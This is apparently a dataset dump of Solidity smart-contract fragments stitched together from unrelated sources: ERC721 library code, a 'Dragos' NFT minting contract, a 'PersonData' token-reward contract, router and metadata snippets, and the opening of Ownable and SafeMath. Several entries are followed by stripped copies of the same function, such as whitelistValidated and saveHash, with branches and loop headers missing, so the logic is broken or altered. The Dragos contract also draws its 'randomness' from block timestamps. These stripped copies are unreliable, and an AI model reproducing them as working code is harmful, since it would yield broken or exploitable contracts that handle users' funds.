/** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract Dragos is ERC721Enumerable, ReentrancyGuard, Ownable { using SafeMath for uint256; using Strings for uint256; bool public saleActive; bool public whitelistIsActive; bool public revealActive; string public prerevealURI; address payable mintData; address payoutWallet1; address payoutWallet2; uint256 mintPrice = 150000000000000000; // 0.15 ETH uint256 whitelistMintPrice = 100000000000000000; // 0.1 ETH uint256 creationTime; uint256 public MAX_TOKEN_SUPPLY = 6000; uint256 maxWhitelistMints = 3; uint256 maxMintsPerTxn = 5; uint256 maxSpecialDragons = 15; uint256 specialDragonsMinted; uint256 bytPayoutPercentage; bytes32[] _whitelistRootHash; mapping(address => uint256) public numberOfWhitelistMints; mapping(uint256 => uint256) public tokenIdToSpecialDragon; mapping(uint256 => string) private _dragosNameByTokenId; mapping(uint256 => uint256) private _dragosBirthdayByTokenId; function setSale() external onlyOwner { saleActive = !saleActive; } function setWhitelistSale() external onlyOwner { whitelistIsActive = !whitelistIsActive; } function setRevealActive() external onlyOwner { revealActive = !revealActive; } function setPrerevealURI(string memory prerevealURI_) external onlyOwner { prerevealURI = prerevealURI_; } function addToWhitelistRootHash(bytes32 _hash) public onlyOwner{ _whitelistRootHash.push(_hash); } function hasMinted(uint256 tokenId) external view returns (bool) { return _exists(tokenId); } function getCreationTime() external view returns (uint256) { return creationTime; } function getLegendary(uint256 tokenId) external view returns (uint256) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return tokenIdToSpecialDragon[tokenId]; } function getName(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if (bytes(_dragosNameByTokenId[tokenId]).length > 0) { return _dragosNameByTokenId[tokenId]; } else { return string(abi.encodePacked("Dragos #", toString(tokenId))); } } function getBackground(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory output; Dragos dataContract = Dragos(mintData); output = dataContract.getBackground(tokenId); return output; } function getFaction(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory output; Dragos dataContract = Dragos(mintData); output = dataContract.getFaction(tokenId); return output; } function getWings(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory output; Dragos dataContract = Dragos(mintData); output = dataContract.getWings(tokenId); return output; } function getWingTips(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory output; Dragos dataContract = Dragos(mintData); output = dataContract.getWingTips(tokenId); return output; } function getClothes(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory output; Dragos dataContract = Dragos(mintData); output = dataContract.getClothes(tokenId); return output; } function getNecklace(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory output; Dragos dataContract = Dragos(mintData); output = dataContract.getNecklace(tokenId); return output; } function getMouth(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory output; Dragos dataContract = Dragos(mintData); output = dataContract.getMouth(tokenId); return output; } function getEyes(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory output; Dragos dataContract = Dragos(mintData); output = dataContract.getEyes(tokenId); return output; } function getHat(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory output; Dragos dataContract = Dragos(mintData); output = dataContract.getHat(tokenId); return output; } function getBirthday(uint256 tokenId) public view returns (uint256) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return _dragosBirthdayByTokenId[tokenId]; } function setBirthday(uint256 tokenId) internal { uint256 epoch = 1643673600 + 14 days; // Feb. 1, 2022 00:00:00 UTC + 14 days = Feb. 15 uint256 daysToBday = uint256(keccak256(abi.encodePacked(toString(block.timestamp), toString(tokenId)))) % 91; uint256 birthday = epoch + (daysToBday * 1 days); _dragosBirthdayByTokenId[tokenId] = birthday; } function getStats(uint256 statIndex, uint256 tokenId) public view returns (string memory statName, uint256 statValue) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); Dragos dataContract = Dragos(mintData); (statName, statValue) = dataContract.getStats(statIndex, tokenId); return (statName, statValue); } function tokenURI(uint256 tokenId) override public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if(revealActive) { string memory output; Dragos dataContract = Dragos(mintData); output = dataContract.tokenURI(tokenId); return output; } else { return prerevealURI; } } function validateName(string memory str) internal pure returns (bool){ bytes memory b = bytes(str); if(b.length < 1) return false; if(b.length > 25) return false; // Cannot be longer than 25 characters if(b[0] == 0x20) return false; // Leading space if (b[b.length - 1] == 0x20) return false; // Trailing space bytes1 lastChar = b[0]; for(uint i; i<b.length; i++){ bytes1 char = b[i]; if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces if( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) && //a-z !(char == 0x20) //space ) return false; lastChar = char; } return true; } function whitelistValidated(address wallet, uint256 index, bytes32[] memory proof, bytes32[] memory _rootHash) internal pure returns (bool) { uint256 amount = 1; // Compute the merkle root bytes32 node = keccak256(abi.encodePacked(index, wallet, amount)); uint256 path = index; for (uint16 i = 0; i < proof.length; i++) { if ((path & 0x01) == 1) { node = keccak256(abi.encodePacked(proof[i], node)); } else { node = keccak256(abi.encodePacked(node, proof[i])); } path /= 2; } // Check the merkle proof against the root hash array for(uint i = 0; i < _rootHash.length; i++) { if (node == _rootHash[i]) { return true; } } return false; } function mint(uint256 amount, string[] memory names) public nonReentrant payable{ require(saleActive, "Public mint is currently closed"); require(amount <= maxMintsPerTxn, "Purchase exceeds max mints per transaction"); require(totalSupply().add(amount) <= MAX_TOKEN_SUPPLY, "Purchase would exceed max supply"); require(msg.value == amount.mul(mintPrice), "Incorrect payment amount"); uint256 tokenId = totalSupply(); for(uint256 i = 0; i < amount; i++) { if (bytes(names[i]).length > 0) { require(validateName(names[i]), "Name is invalid"); _dragosNameByTokenId[tokenId + i] = names[i]; } setBirthday(tokenId + i); if(isDragonSpecial(tokenId + i)) { specialDragonsMinted++; tokenIdToSpecialDragon[tokenId + i] = specialDragonsMinted; } _safeMint(_msgSender(), tokenId + i); } } function whitelistMint(uint256 amount, uint256 spotInWhitelist, bytes32[] memory proof, string[] memory names) public nonReentrant payable{ require(whitelistIsActive, "Whitelist mint is currently closed"); require(totalSupply().add(amount) <= MAX_TOKEN_SUPPLY, "Purchase would exceed max supply"); require(whitelistValidated(_msgSender(), spotInWhitelist, proof, _whitelistRootHash), "You're not on the giveaway list"); require(numberOfWhitelistMints[_msgSender()].add(amount) <= maxWhitelistMints, "You do not have that many whitelist mints"); require(msg.value == amount.mul(whitelistMintPrice), "Incorrect payment amount"); uint256 tokenId = totalSupply(); for(uint256 i = 0; i < amount; i++) { if (bytes(names[i]).length > 0) { require(validateName(names[i]), "Name is invalid"); _dragosNameByTokenId[tokenId + i] = names[i]; } setBirthday(tokenId + i); if(isDragonSpecial(tokenId + i)) { specialDragonsMinted++; tokenIdToSpecialDragon[tokenId + i] = specialDragonsMinted; } _safeMint(_msgSender(), tokenId + i); } numberOfWhitelistMints[_msgSender()] += amount; } function isDragonSpecial(uint256 tokenId) internal view returns(bool) { uint256 rand = uint256(keccak256(abi.encodePacked(toString(tokenId), toString(creationTime)))); if(rand % 1000 > 996) { return true; } //In the case that there are enough special dragons left that all remaining tokens should be special return true if(totalSupply() + maxSpecialDragons - specialDragonsMinted == MAX_TOKEN_SUPPLY) { return true; } return false; } function setWalletOne(address _walletAddress) external onlyOwner { payoutWallet1 = _walletAddress; } function setWalletTwo(address _walletAddress) external onlyOwner { payoutWallet2 = _walletAddress; } function setMintContract(address payable contractAddress) public onlyOwner { mintData = contractAddress; } function withdraw() external onlyOwner { require(payoutWallet1 != address(0), "wallet 1 not set"); require(payoutWallet2 != address(0), "wallet 2 not set"); uint256 balance = address(this).balance; uint256 walletBalance = balance.mul(100 - bytPayoutPercentage).div(100); payable(payoutWallet1).transfer(walletBalance); payable(payoutWallet2).transfer(balance.sub(walletBalance)); } constructor() ERC721("Dragos", "DRAGOS") Ownable() { creationTime = block.timestamp; payoutWallet1 = 0x8d3Aad1100c67ecCef8426151DC8C4b659012a6F; // dragos payout wallet payoutWallet2 = 0xFd182CAc22329a58375bf5f93B2C33E83c881540; // byt payout wallet bytPayoutPercentage = 9; prerevealURI = "https://dragos.mypinata.cloud/ipfs/QmZdZhygDZTsG6KC71zk9XMohScmFKZryFpeGZ939oLzX9"; addToWhitelistRootHash(0xd963e460e626c03996dd9aa0626ad93a829b3eaaedb764402193e10981172518); mintData = payable(0x77591D3868D657B31b788C430E9C2A9194768790); } fallback() external payable {} function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } }
Compute the merkle root
function whitelistValidated(address wallet, uint256 index, bytes32[] memory proof, bytes32[] memory _rootHash) internal pure returns (bool) { uint256 amount = 1; bytes32 node = keccak256(abi.encodePacked(index, wallet, amount)); uint256 path = index; for (uint16 i = 0; i < proof.length; i++) { if ((path & 0x01) == 1) { node = keccak256(abi.encodePacked(proof[i], node)); node = keccak256(abi.encodePacked(node, proof[i])); } path /= 2; } { if (node == _rootHash[i]) { return true; } } return false; }
275,868
pragma solidity ^0.4.20; import './personhelper.sol'; // Import PersonHelper contract. /** @title PersonData.*/ contract PersonData is PersonHelper { // EVENTS event Data( address from, uint reward, string dataType, bytes32 hash1, bytes14 hash2, uint timestamp ); event Cycles( address user ); // PUBLIC METHODS function saveHash( string _dataType, bytes32 _hash1, bytes14 _hash2, uint _timestamp ) public { _Person storage p = person[msg.sender]; // Person struct. require( dtint.getState( _dataType ) ); // Check if the Data Type state is true. //Check if the day is over to restart the available reward per day. if( dtint.isDayOver() ){ dtint.restartReward(); } // If the users stop using the app for a week, lose one level. //if( p.lastHourCero < getHourCero() - 1 weeks ){ if( isMoreThanAWeek() ){ // Check if the user is in the level 0. if( p.level != 0 ){ p.level--; // Level down. //p.record = lvlint.getDayById( p.level ); // Reset to the last level consecutive days. p.record = 0; // Reset to the last level consecutive days. p.consecutiveDays = 0; emit Level( msg.sender, p.level, lvlint.getMultiplierById( p.level )); // Emit the Level event. } } // Restart the record of the user if the user didn't the cycle in one day. //if( p.lastCompletedCycle + 1 days < getHourCero() ){ if( isMoreThanADay() ){ p.record = 0; // Reset to the last level consecutive days. p.consecutiveDays = 0; } if( ( dtint.getTimes( _dataType ) > p.info[_dataType].times ) && ( p.lastHourCero + dtint.getTime( _dataType ) >= now && p.lastHourCero <= now ) && ( dtint.getToCount( _dataType ) ) ){ p.count++; if( p.count == dtint.getTimesPerDay() ){ p.record++; p.count = 0; p.lastCompletedCycle = now; p.consecutiveDays++; emit Cycles( msg.sender ); } p.info[_dataType].times++; p.info[_dataType].timestamp = _timestamp; } else if ( p.lastHourCero + dtint.getTime( _dataType ) < now && ( dtint.getToCount( _dataType ) ) ) { p.lastHourCero = getHourCero(); p.info[_dataType].timestamp = _timestamp; for( uint i = 1; i < dtint.getDataTypesLength(); i++){ if( dtint.getToCount( dtint.getDataTypeNameById( i ) ) ) { p.info[ dtint.getDataTypeNameById( i ) ].times = 0; } } p.count = 1; p.info[_dataType].times++; } else if( p.info[_dataType].timestamp + dtint.getTime( _dataType ) < now && !( dtint.getToCount( _dataType ) ) ) { p.lastHourCero = getHourCero(); p.info[_dataType].times = 1; p.info[_dataType].timestamp = _timestamp / 1000; } else if( dtint.getToCount( _dataType ) ){ p.info[_dataType].times++; p.info[_dataType].timestamp = _timestamp; } else if( !( dtint.getToCount( _dataType ) ) ) { p.info[_dataType].times++; } p.info[_dataType].IPFSHash = _hash1; p.info[_dataType].IPFSHash2 = _hash2; // Reward. uint reward = dtint.getReward( _dataType ) * lvlint.getMultiplierById( p.level ); // Calculate the reward ofthe address. if ( p.info[_dataType].times > dtint.getTimes( _dataType ) ){ emit Data( msg.sender, 0, _dataType, _hash1, _hash2, _timestamp); } else if( address(this).balance <= reward && address(this).balance >= 0 ){ emit Data( msg.sender, address(this).balance, _dataType, _hash1, _hash2, _timestamp);// Emit the Data event. msg.sender.transfer( address(this).balance ); // Transfer. } else if( dtint.getRewardPerDay() >= reward ){ msg.sender.transfer( reward ); // Transfer. emit Data( msg.sender, reward, _dataType, _hash1, _hash2, _timestamp);// Emit the Data event. } else if( dtint.getRewardPerDay() <= reward || dtint.getRewardPerDay() > 0 ) { msg.sender.transfer( dtint.getRewardPerDay() ); // Transfer. emit Data( msg.sender, dtint.getRewardPerDay(), _dataType, _hash1, _hash2, _timestamp); // Emit the Data event. } // Address level up. if( p.level != lvlint.getLevelLength() - 1){ if( p.level + 1 <= lvlint.getLevelLength() - 1){ if( p.record == lvlint.getDayById( p.level + 1 ) ){ p.level++; // Level down. p.record = 0; emit Level( msg.sender, p.level, lvlint.getMultiplierById( p.level ) ); // Emit the Level event. } else if ( p.record > lvlint.getDayById( p.level + 1 ) ){ p.level = getNewLevel( p ); p.record = 0; emit Level( msg.sender, p.level, lvlint.getMultiplierById( p.level ) ); // Emit the Level event. } } } // Transfer the bonus to the address. if( p.level == 1 && p.recompenseSent == false && p.invited != 0 && p.invitedTimes <= bonusTimes ){ if( address(this).balance <= bonus && address(this).balance >= 0 ){ p.invited.transfer( address(this).balance ); // Transfer the bonus. p.recompenseSent = true; emit Invited( msg.sender, p.invited, address(this).balance); // Emit the Data event. } else if ( address(this).balance >= bonus * 2){ p.invited.transfer( bonus ); // Transfer the bonus. msg.sender.transfer( bonus ); // Transfer the bonus. p.recompenseSent = true; emit Invited( msg.sender, p.invited, bonus ); // Emit the Data event. emit Invited( address(this), msg.sender, bonus ); // Emit the Data event. } p.invitedTimes++; } } }
Check if the day is over to restart the available reward per day. If the users stop using the app for a week, lose one level.if( p.lastHourCero < getHourCero() - 1 weeks ){ Check if the user is in the level 0.p.record = lvlint.getDayById( p.level ); Reset to the last level consecutive days. Restart the record of the user if the user didn't the cycle in one day.if( p.lastCompletedCycle + 1 days < getHourCero() ){ Reward. Address level up. Transfer the bonus to the address.
function saveHash( string _dataType, bytes32 _hash1, bytes14 _hash2, uint _timestamp ) public { if( dtint.isDayOver() ){ dtint.restartReward(); } if( isMoreThanAWeek() ){ if( p.level != 0 ){ p.consecutiveDays = 0; } } if( isMoreThanADay() ){ p.consecutiveDays = 0; } if( ( dtint.getTimes( _dataType ) > p.info[_dataType].times ) && ( p.lastHourCero + dtint.getTime( _dataType ) >= now && p.lastHourCero <= now ) && ( dtint.getToCount( _dataType ) ) ){ p.count++; if( p.count == dtint.getTimesPerDay() ){ p.record++; p.count = 0; p.lastCompletedCycle = now; p.consecutiveDays++; emit Cycles( msg.sender ); } p.info[_dataType].times++; p.info[_dataType].timestamp = _timestamp; p.lastHourCero = getHourCero(); p.info[_dataType].timestamp = _timestamp; for( uint i = 1; i < dtint.getDataTypesLength(); i++){ if( dtint.getToCount( dtint.getDataTypeNameById( i ) ) ) { p.info[ dtint.getDataTypeNameById( i ) ].times = 0; } } p.count = 1; p.info[_dataType].times++; p.lastHourCero = getHourCero(); p.info[_dataType].times = 1; p.info[_dataType].timestamp = _timestamp / 1000; p.info[_dataType].times++; p.info[_dataType].timestamp = _timestamp; p.info[_dataType].times++; } p.info[_dataType].IPFSHash = _hash1; p.info[_dataType].IPFSHash2 = _hash2; if ( p.info[_dataType].times > dtint.getTimes( _dataType ) ){ emit Data( msg.sender, 0, _dataType, _hash1, _hash2, _timestamp); } if( p.level != lvlint.getLevelLength() - 1){ if( p.level + 1 <= lvlint.getLevelLength() - 1){ if( p.record == lvlint.getDayById( p.level + 1 ) ){ p.record = 0; p.level = getNewLevel( p ); p.record = 0; } } } if( p.level == 1 && p.recompenseSent == false && p.invited != 0 && p.invitedTimes <= bonusTimes ){ if( address(this).balance <= bonus && address(this).balance >= 0 ){ p.recompenseSent = true; p.recompenseSent = true; } p.invitedTimes++; } }
5,384,413
./full_match/80001/0x8D835dBa33542869B3Ac14f2D7496d3E0501f0FF/sources/publish/GoldenBullRouter.sol
performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'GoldenBullLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } }
5,599,536
./full_match/80001/0xDE8C1Fb954CDAdf2E442809Db5be05CC9d7FcA92/sources/contracts/WAYSPACE.sol
Metadata Base return 2 songs for sale in given round
function metadataBase() external view returns (string memory, string memory) { return (albumUri[1], albumUri[1]); }
858,473
pragma solidity >=0.6.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable { address internal _owner; event OwnershipTransferred( address indexed currentOwner, address indexed newOwner ); constructor() { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } modifier onlyOwner() { require( msg.sender == _owner, "Ownable : Function called by unauthorized user." ); _; } function owner() external view returns (address ownerAddress) { ownerAddress = _owner; } function transferOwnership(address newOwner) public onlyOwner returns (bool success) { require(newOwner != address(0), "Ownable/transferOwnership : cannot transfer ownership to zero address"); success = _transferOwnership(newOwner); } function renounceOwnership() external onlyOwner returns (bool success) { success = _transferOwnership(address(0)); } function _transferOwnership(address newOwner) internal returns (bool success) { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; success = true; } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } abstract contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { _registerInterface(_INTERFACE_ID_ERC165); } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); 